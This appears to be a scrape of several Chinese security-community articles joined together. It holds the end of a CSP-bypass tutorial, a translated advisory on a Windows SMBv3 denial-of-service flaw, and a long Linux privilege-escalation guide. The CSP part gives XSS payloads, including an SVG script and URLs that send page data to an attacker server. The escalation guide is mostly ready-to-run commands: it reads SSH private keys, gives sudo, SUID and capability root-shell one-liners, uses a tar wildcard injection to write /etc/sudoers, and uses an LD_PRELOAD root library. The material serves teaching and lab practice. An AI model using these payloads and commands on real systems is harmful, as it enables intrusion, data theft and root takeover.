2. XSS页面的CSP script-src只采用了nonce方式
### object-src绕过（PDFXSS）
假如只有这一个页面，我们能有办法执行JS吗
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>
在CSP标准里面，有一个属性是object-src，它限制的是<embed> <object> <applet>标签的src，也就是插件的src
于是我们可以通过插件来执行Javascript代码，插件的js代码并不受script-src的约束
最常见的就是flash-xss，但是flash实在太老，而且我想在看的师傅们也很少会开浏览器的flash了，所以我这里也不说明了，这里主要讲之前一个提交asrc的pdf-xss为例
PDF文件中允许执行javascript脚本，但是之前浏览器的pdf解析器并不会解析pdf中的js，但是之前chrome的一次更新中突然允许加载pdf的javascript脚本
<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>
当然pdf的xss并不是为所欲为，比如pdf-xss并不能获取页面cookie，但是可以弹窗，url跳转等
具体可以看看这篇文章<https://blog.csdn.net/microzone/article/details/52850623>
里面有上面实例用的恶意pdf文件
当然，上面的例子并没有设置default-src,所以我们可以用外域的pdf文件，如果设置了default-src，我们必须找到一个pdf的上传点，（当然能上传的话直接访问这个pdf就能xss了2333），然后再用标签引用同域的pdf文件
利用条件:
1. 没有设置object-src，或者object-src没有设置为'none'
2. pdf用的是chrome的默认解析器
### SVG绕过
SVG作为一个矢量图，但是却能够执行javascript脚本，如果页面中存在上传功能，并且没有过滤svg，那么可以通过上传恶意svg图像来xss
之前的easer CONFidence CTF就出过svg的xss
引用 [https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/](https://www.smi1e.top/%E9%80%9A%E8%BF%87%E4%B8%80%E9%81%93%E9%A2%98%E4%BA%86%E8%A7%A3%E7%BC%93%E5%AD%98%E6%8A%95%E6%AF%92%E5%92%8Csvg-xss/)
1.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>
利用条件:
1. 可以上传svg图片
### 不完整的资源标签获取资源
看看下面的例子，我们如何把flag给带出来
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>
这里可以注意到img用了*,有些网站会用很多外链图片，所以这个情况并不少见
虽然我们可以新建任意标签，但是由于CSP我们的JS并不能执行（没有unsafe-inline），于是我们可以用不完整的<img标签来将数据带出
exp: `http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=`
此时，由于src的引号没有闭合，html解析器会去一直寻找第二个引号，引号其中的大部分标签都不会被解析，所以在第四行的第一个引号前的所有内容，都会被当成src的值被发送到我们的vps上
需要注意的是，chrome下这个exp并不会成功，因为chrome不允许发出的url中含有回车或<，否者不会发出
利用条件:
1. 可以加载外域资源 (img-src: *)
2. 需要获取页面某处的信息
3. 不好总结，看上面例子，懂意思就行
### CSS选择器获取内容
这个来自2018 SECCON CTF的一道题，虽然原题中不是用来绕csp，但是也能拿过来利用，当然利用条件比较苛刻，需要
设置style-src为*，或者只设置了script-src
原题可以看看这篇文章<https://www.yourhome.ren/index.php/sec/608.html>
大概思路就是css提供了选择器，当选择器到对应元素的时，可以加载一个外域请求，相当于sql的盲注
//这里引用的是上面文章中的exp
input[value^="6703"] {background-image:url("http://vps_ip/?6703");}
这句话的意思是，当input的value值已6703开头，则去加载后面的url，于是我们可以一位一位爆破，先猜第一位，再猜第二位。。。
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">
exp: `http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"]
{background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E`
太苛刻了，之前想到随便提一下好了
利用条件:(好苛刻啊都不想写了)
1. style允许内敛，img可以跨域
2. 需要获取的数据在页面内
3. 可以新建标签
4. 可以多次发送xss且获取的数据不会变（毕竟不可能一次请求就注出来，除非能执行js写脚本一口气注）
### CRLF绕过
HCTF2018的一道题，当一个页面存在CRLF漏洞时，且我们的可控点在CSP上方，就可以通过注入回车换行，将CSP挤到HTTP返回体中，这样就绕过了CSP
原题github <https://github.com/Lou00/HCTF2018_Bottle>
这个原理比较简单，就不写条件了
## 后话
个人总结的一些csp绕过思路，并不是很全，若有不足，敬请批评补充
## 参考链接
<https://xz.aliyun.com/t/318#toc-3>
<https://xz.aliyun.com/t/315/>
<https://www.jianshu.com/p/f1de775bc43e>
<https://inside.pixiv.blog/kobo/5137>
<https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76>
<https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180>
<https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere>
[https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/](https://www.smi1e.top/%E9%80%9A%E8%BF%87%E4%B8%80%E9%81%93%E9%A2%98%E4%BA%86%E8%A7%A3%E7%BC%93%E5%AD%98%E6%8A%95%E6%AF%92%E5%92%8Csvg-xss/)
[https://blog.cal1.cn/post/RCTF 2018 rBlog
writeup](https://blog.cal1.cn/post/RCTF%202018%20rBlog%20writeup)
<https://lorexxar.cn/2017/05/16/nonce-bypass-script/>
<https://blog.csdn.net/microzone/article/details/52850623>
<https://paper.seebug.org/855/>
<https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md>
</applet></object> | 社区文章 |
# 【漏洞预警】Windows SMBv3远程拒绝服务0day漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360企业安全
原文地址：[http://mp.weixin.qq.com/s?__biz=MjM5MzgxMTgwOA==&mid=2658252105&idx=1&sn=868581f3e24edfbb6569edca5863bbf5&chksm=bd1449468a63c050e20929b4ab63ff508fe18dd70f691b72a289d720a1b0a4af6b6c612b6856&mpshare=1&scene=1&srcid=0203scAjoYizgGyUWaZsocHR#rd](http://mp.weixin.qq.com/s?__biz=MjM5MzgxMTgwOA==&mid=2658252105&idx=1&sn=868581f3e24edfbb6569edca5863bbf5&chksm=bd1449468a63c050e20929b4ab63ff508fe18dd70f691b72a289d720a1b0a4af6b6c612b6856&mpshare=1&scene=1&srcid=0203scAjoYizgGyUWaZsocHR#rd)
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
北京时间2月2日，国外技术网站Github曝光了Windows
SMBv3存在远程攻击0day漏洞。根据已公开的漏洞验证代码（POC），攻击者可以迫使受影响系统蓝屏崩溃。目前微软尚未对此漏洞发布公告，暂不明确何时将推出补丁。
经验证，此漏洞主要影响Windows Server
2012/2016、Win8/8.1以及Win10系统。攻击者可以模拟成一个SMB服务器，诱使客户端发起SMB请求来触发漏洞；攻击者也可以通过中间人方式“毒化”SMB回应，插入恶意的SMB回复实现拒绝服务。
图：研究人员在Win10上验证SMBv3远程拒绝服务漏洞攻击
**关于Microsoft 服务器消息块（SMB）协议**
Microsoft 服务器消息块 (SMB) 协议是 Microsoft Windows 中使用的一项 Microsoft 网络文件共享协议。
**漏洞影响范围**
此漏洞存在于SMB客户端（mrxsmb20.sys），已公开的POC可以导致系统BSOD，即死亡蓝屏。攻击者可以通过139、445等远程端口，或中间人攻击，甚至以包含UNC路径的邮件、文档或网页诱骗用户点击触发漏洞。
**漏洞缓解措施**
鉴于该漏洞攻击方法已经公开，且尚无补丁，360安全中心建议企业客户在防火墙处阻止TCP 端口 139 和 445，通过阻止入站和出站 SMB
流量，保护位于防火墙后面的系统防范此漏洞攻击造成的安全风险。 | 社区文章 |
* * *
title: 提权基础
* * *
## 提权基础
通常由于服务或其他漏洞渗透进的服务器，所配置的用户权限可能不是特权用户或用户权限较低，操作的局限性很大。
权限提升的本质就是从低权限账户转换为高权限用户。方法多种多样，可能通过操作系统或应用程序的漏洞、设计缺陷或配置不当等实现未授权的操作。
高权限可进一步利用的方法：
1. 重置其他账户密码访问其他账户权限文件
2. 绕过访问控制的权限操作数据内容
3. 更改软件的配置
4. 实现持久化
5. 更改对应用户权限
提权思路：大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等，写入或执行恶意命令/脚本/shell/添加高权限用户，提权成功，然后进一步利用。
## Linux提权基础
> 实验内容借助THM的Linux PrivEsc模块
### 基础系统信息收集
通过对系统信息的收集，可以查看是否具有可利用的内核级别漏洞或者一些低权限执行特殊命令的利用点。
##### 内核，操作系统，设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构（64位/32位）
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
* 利用`hostname`命令可以查看主机名，通常可以提供关于主机在域中的角色信息，如MYSQL-SERVER
* 利用`uname -a`可以打印系统信息，可以看到关于主机的内核信息，便于搜索一些利于权限提升的内核漏洞
上图中，Linux内核版本为`3.13.0-24-generic`
>
> Linux内核的版本号命名是有一定规则的，版本号的格式通常为“主版本号.次版本号.修正号”。主版本号和次版本号标志着重要的功能变动，修正号表示较小的功能变更。以5.9.11版本为例，5代表主版本号，9代表次版本号，11代表修正号。其中次版本还有特定的意义：如果是偶数数字，就表示该内核是一个可以放心使用的稳定版；如果是奇数数字，则表示该内核加入了某些测试的新功能，是一个内部可能存在着bug的测试版。
* 利用`/proc/version`可以目标系统信息（和`uname -a`类似）
* 利用`/etc/issue`同样可以查看目标系统信息（可以被任意更改）
在实验中显示了关于Linux版本的信息
##### 用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录，他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
* `/etc/passwd`文件内显示了所有系统用户，在系统中被使用的用户可以在`/home`中找到
##### 用户权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
* 系统可以配置权限，以允许用户使用root权限进行一些操作`sudo -l`可以列出当前用户可以使用`sudo`运行的一些命令
* `id`命令可以查看关于当前用户权限和用户组的信息
也可以查看其他用户的相关信息
* 利用`sudo -l`可以查看可以使用root
##### 环境信息
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
* `env`命令显示环境变量
PATH变量通常可以看到编译器或者脚本语言的信息
* `history`命令可以查看当前终端的历史执行命令
##### 进程和服务
ps aux
ps -ef
top
cat /etc/services
* `ps`命令通常被用来查看系统运行的进程。
* （进程状态）的输出`ps` 将显示以下内容；
* PID：进程ID（进程唯一）
* TTY：用户使用的终端类型
* 时间：进程使用的 CPU 时间量（这不是该进程运行的时间）
* CMD：正在运行的命令或可执行文件（不会显示任何命令行参数）
* `ps axjf`命令可以查看进程树
* `ps aux`显示所有用户的进程同时显示用户名（包含未连接到终端的进程）
###### 查看安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
##### 服务和插件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
##### 计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
##### 是否有存放明文密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
##### ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
##### 查看与主机通信的信息
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -anptl
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
* `netstat`可以查看现有的连接信息
* 利用`netstat -at`和`netstat -au`可以分别显示tcp和udp协议的连接
* 利用`netstat -l`可以以`Listen`列出端口
##### 日志信息
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
##### 查看可提权的SUID或GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
##### 查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
## Linux提权方法
### 搜索可用凭证
目标主机可能存在备份文件或其他网站服务的配置文件（`.conf`，`.config`，`.xml`，`backup*`，`.bak`等）和一些shell脚本或bash历史命令
例如Web服务搭建了wordpress等
`find / ! -path "*/proc/*" -iname "*config*" -type f
2>/dev/null`命令可以用于搜索文件名字中的config
同时可以查看相关SSH私钥，在`known_hosts`文件可以看到曾经连接过的所有主机公钥列表，对内网横向移动和提权有一定帮助
### 内核漏洞利用提权
> 内核提权有风险，可能会导致目标主机崩溃
##### 内核漏洞利用方法
1. 获取关于目标系统的内核信息
2. 通过`exploit-db`或`searchsplopit`等工具搜索具体的内核版本信息
3. 通过`python3 -m http.server`或`wget`等服务将poc脚本传送至目标主机
4. 运行漏洞利用poc脚本（需要了解漏洞利用代码的工作原理，避免因为漏洞poc执行等原因对目标系统造成特殊的影响，或漏洞代码需要进行某些交互功能）
##### CVE-2016-5195
大名鼎鼎的脏牛(DirtyCow)提权漏洞。官网：<https://dirtycow.ninja>
* 影响版本：
* Linux kernel >= 2.6.22（2007年发行，到2016年10月18日才修复）
* <https://help.aliyun.com/knowledge_detail/44786.html>
* 漏洞原理：在Linux内核的内存子系统处理私有只读内存映射的写时复制（COW）损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权，从而增加他们在系统上的特权。
* 提权利用：
* <https://github.com/dirtycow/dirtycow.github.io>
* <https://github.com/gbonacini/CVE-2016-5195>
* <https://github.com/FireFart/dirtycow>
* <https://github.com/Rvn0xsy/reverse_dirty>
* 参考链接：
* <https://www.jianshu.com/p/df72d1ee1e3e>
##### 其他内核漏洞
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs'
Local Root Shell
<https://www.exploit-db.com/exploits/37292/>
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
<https://www.exploit-db.com/exploits/39166/>
Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation
<https://www.exploit-db.com/exploits/39230/>
最新的有DirtyPipe和DirtyCred可以了解一下
**CVE-2019-13272**
* <https://github.com/oneoy/CVE-2019-13272>
* <https://github.com/Huandtx/CVE-2019-13272>
* <https://github.com/icecliffs/Linux-For-Root>
**CVE-2017-16995**
* <https://github.com/Al1ex/CVE-2017-16995>
* <https://github.com/Jewel591/Privilege-Escalation>
**CVE-2019-14287**
* <https://github.com/Twinkeer/CVE>
**内核漏洞提权汇总**
* <https://github.com/SecWiki/linux-kernel-exploits>
**内核漏洞提权参考**
* <https://www.secice.cn/post/3574493e>
* CVE-2022-0847
### sudo提权
1. 使用`sudo -l`查看可利用的sudo权限工具
2. 在`https://gtfobins.github.io/`搜索对应的工具名称，利用页面中的提示进行提权
例子：
* `less提权`
输入`sudo less /etc/profile`
输入`!/bin/sh`即可提升权限至root
* `find提权`
输入`sudo find . -exec /bin/sh \; -quit`
* `nano提权`
* 输入`sudo nano`
连续键入`ctrl+r`和`ctrl+x`两个组合键
输入命令`reset; sh 1>&0 2>&0`提权至root
* 输入`sudo nano -s /bin/sh`
输入`/bin/sh`，再键入`ctrl+t`组合键
### SUID提权
#### 什么是SUID（[来自P牛博客总结](https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html)）
通常来说，Linux运行一个程序，是使用当前运行这个程序的用户权限，这当然是合理的。但是有一些程序比较特殊，比如我们常用的ping命令。
ping需要发送ICMP报文，而这个操作需要发送Raw Socket。在Linux
2.2引入[CAPABILITIES](http://man7.org/linux/man-pages/man7/capabilities.7.html)前，使用Raw
Socket是需要root权限的（当然不是说引入CAPABILITIES就不需要权限了，而是可以通过其他方法解决，这个后说），所以你如果在一些老的系统里`ls
-al $(which ping)`，可以发现其权限是`-rwsr-xr-x`，其中有个s位，这就是suid：
root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
suid全称是 **S** et owner **U** ser **ID** up on
execution。这是Linux给可执行文件的一个属性，上述情况下，普通用户之所以也可以使用ping命令，原因就在我们给ping这个可执行文件设置了suid权限。
设置了s位的程序在运行时，其 **Effective UID**
将会设置为这个程序的所有者。比如，`/bin/ping`这个程序的所有者是0（root），它设置了s位，那么普通用户在运行ping时其
**Effective UID** 就是0，等同于拥有了root权限。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID：
* Real UID 执行该进程的用户实际的UID
* Effective UID 程序实际操作时生效的UID（比如写入文件时，系统会检查这个UID是否有权限）
* Saved UID 在高权限用户降权后，保留的其原本UID（本文中不对这个UID进行深入探讨）
通常情况下Effective UID和Real
UID相等，所以普通用户不能写入只有UID=0号才可写的`/etc/passwd`；有suid的程序启动时，Effective
UID就等于二进制文件的所有者，此时Real UID就可能和Effective UID不相等了。
有的同学说某某程序只要有suid权限，就可以提权，这个说法其实是不准确的。只有这个程序的所有者是0号或其他super
user，同时拥有suid权限，才可以提权。
#### nmap提权
nmap的一些扫描操作需要root权限，通常sudo执行的时候需要输入密码，系统中可能对nmap设置了suid权限便于操作。
* 在nmap 5.20以前的interactive交互模式可以用于提权
* （待定！）新版本我测试的nmap版本为`Nmap version 7.92`
P牛博客中提到
> 星球里`@A11risefor*`师傅提到，nmap 5.20以后可以通过加载自定义script的方式来执行命令：
>
>>
补充一个，--interactive应该是比较老版本的nmap提供的选项，最近的nmap上都没有这个选项了，不过可以写一个nse脚本，内容为`os.execute('/bin/sh')`，然后`nmap
--script=shell.nse`来提权
>
> 的确是一个非常及时的补充，因为现在大部分的nmap都是没有interactive交互模式了。
>
> 但经过测试我们发现，这个方法启动的shell似乎仍然是当前用户的，并没有我们想象中的提权。
根据我的测试，我在sudoers文件中设置test用户为`test ALL=(ALL:ALL) ALL`权限
nmap脚本`nse_root.nse`内容为`os.execute("/bin/sh")`，使用test用户执行命令`sudo nmap
--script=/home/test/nse_root.nse`，结果为提权成功
关于更多nmap提权技巧可以看[nmap提权技巧](https://gtfobins.github.io/gtfobins/nmap/)
#### SUID文件提权
1. 首先找到设置了`SUID`或`SGID`的文件`find / -type f -perm -04000 -ls 2>/dev/null`
2. 具有SUID权限的文件，也可以去[GTFOBins](https://gtfobins.github.io/)网站查看SUID利用，网站仅提供参考
### 利用存在漏洞的命令/服务
Linux存在的命令非常多，可以利用`searchsploit`去搜索工具漏洞
如screen 4.5版本或apache 2或sudo提权
### Capabilities提权
> Linux
> 2.2以后增加了capabilities的概念，可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权，我们就只能使用root来执行或者给其增加SUID权限，一旦这样，我们等于赋予了这个程序所有的特权，这是不满足权限最小化的要求的；在引入capabilities后，root的权限被分隔成很多子权限，这就避免了滥用特权的问题，我们可以在[capabilities(7)
> - Linux manual page](http://man7.org/linux/man-> pages/man7/capabilities.7.html)中看到这些特权的说明。
1. 利用`getcap -r / 2>/dev/null`查看设置了capabilities的可执行文件
2. 利用命令提权，可以参考[GTFOBins](https://gtfobins.github.io/#+capabilities)（有些命令不适合所有终端）
# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"
#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'
#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
### CronJob定时任务
定时任务通常被设置用于备份文件、清理目录内容等。crontab命令可以创建一个cron文件，以指定的时间区间运行。
可以查看`/etc/crontab`查看CronJob文件
root用户的crontab能被root用户或完全sudo权限的用户编辑。可以在此时查找一个以root用户身份运行的当前用户可更改的读写脚本。
1. 找到一个可读写更改的脚本
2. 更改其内容进行反弹shell的操作
3. 如果目标机器的CronJob存在，但文件已被删除，如
如果未定义脚本的完整路径，cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。可以被当前用户利用。
### 环境变量提权
`PATH` 是Linux 和 Unix
操作系统中的环境变量，它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时，它会通过PATH变量来响应用户执行的命令，并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目，以便于系统管理命令的执行。
1. 找到可写目录`find / -writable 2>/dev/null`
2. 修改PATH的内容，通常将当前用户由执行权限的目录添加至PATH的最先位置，`export $PATH=新添加的目录:$PATH`
3. 编写脚本，写入想执行的命令。可以是`/bin/bash`或C语言等脚本
例子：
* C语言脚本
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("bash");
}
* python脚本
/usr/bin/python3
import os
import sys
try:
os.system("thm")
except:
sys.exit()
4. chmod u+s 文件设置suid权限
### nfs提权
> 网络文件系统（ **NFS** ）是一个客户端 /
> 服务器应用程序，它使计算机用户可以查看和选择存储和更新远程计算机上的文件，就像它们位于用户自己的计算机上一样。在 **NFS**
> 协议是几个分布式文件系统标准，网络附加存储（NAS）之一。
>
> NFS 是基于 UDP/IP 协议的应用，其实现主要是采用远程过程调用 RPC 机制，RPC
> 提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC 采用了 XDR 的支持。XDR
> 是一种与机器无关的数据描述编码的协议，他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码，支持在异构系统之间数据的传送。
利用先遣条件：`no_root_squash`选项得开启
1. 识别nfs共享，可以利用nmap工具或rpcinfo等工具
nmap -sV -p111,2049 IP
#nmap扫描nfs的常用端口111和2049
rpcinfo -p 192.168.1.171
#rpcinfo直接枚举nfs
2. * 检查nfs配置文件`/etc/exports`，检查开启的nsf共享目录和`no_root_squash`选项设置
* 利用metasploit或showmount列举目标主机的可用nfs exports
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts IP
msf auxiliary(nfsmount) > run
showmount -e IP
3. 挂载nfs exports
sudo mount -o [options] -t nfs ip_address:share directory_to_mount
4. 编写脚本，写入想执行的命令。可以是`/bin/bash`或C语言等脚本
例子：
* C语言脚本
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
* python脚本
/usr/bin/python3
import os
import sys
try:
os.system("/bin/bash")
except:
sys.exit()
5. chmod +s 文件添加suid权限
### 通配符提权（技术比较老）
1. 写入脚本
2. 利用命令中某些可利用执行脚本的选项，创建具有这些选项名称的文件
3. tar提权
echo 'echo "用户名 ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
首先需要root用户在root.sh这个自定脚本目录执行tar带参数的压缩命令，才可以触发。如果碰巧遇到了定时压缩文件可写目录的操作，可以一试。
利用截图：
4. 类似的通配符还有`chown`和`rsync`
### 共享库提权
> Linux 程序通常使用动态链接的共享对象库。库包含已编译的代码或开发人员用来避免跨多个程序重写相同的代码段的其他数据。Linux
> 中存在两种类型的库：（`static libraries`由 .a 文件扩展名表示）和`dynamically linked shared object
> libraries`（由 .so 文件扩展名表示）。编译程序时，静态库成为程序的一部分，无法更改。但是，可以修改动态库以控制调用它们的程序的执行。
>
> 有多种方法可以指定动态库的位置，因此系统将知道在程序执行时在哪里查找它们。这包括编译程序时的`-rpath`or`-rpath-> link`标志，使用环境变量`LD_RUN_PATH`or
> `LD_LIBRARY_PATH`，将库放置在`/lib`or`/usr/lib`默认目录中，或者在`/etc/ld.so.conf`配置文件中指定包含库的另一个目录。
>
> 此外，`LD_PRELOAD`环境变量可以在执行二进制文件之前加载库。此库中的函数优先于默认函数。
提权的先遣条件，被劫持的命令或程序必须具有较高的权限（以root运行、SUID或SUDO等）。同时在`/etc/sudoers`文件中需要定义`env_keep+=LD_PRELOAD`
1. 确认一个可以用高权限执行的程序或命令
2. 编写脚本，c语言等
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
对其编译为`.so`动态文件，`gcc -fPIC -shared -o root.so root.c -nostartfiles`
3. 高权限运行程序或命令，指定对应的恶意文件库，`sudo LD_PRELOAD=/tmp/root.so 程序或命令`
### 共享对象劫持提权
不同于共享库提权，针对于新开发的程序和二进制可执行文件。
1. `ldd 程序`查看其所使用的共享对象文件和共享库
2. 找到其程序利用的非标准库依赖
3. 利用`readelf -d 程序 | grep PATH`查看程序自定义的共享库位置
4. 找到自定义的共享库位置，自建链接库的文件到该共享库文件夹，执行程序查看是否缺少函数
5. 创建.c文件，自定义这个函数名，设置uid为root，利用其执行bash或sh
#include<stdio.h>
#include<stdlib.h>
void 函数名() {
setuid(0);
system("/bin/sh -p");
}
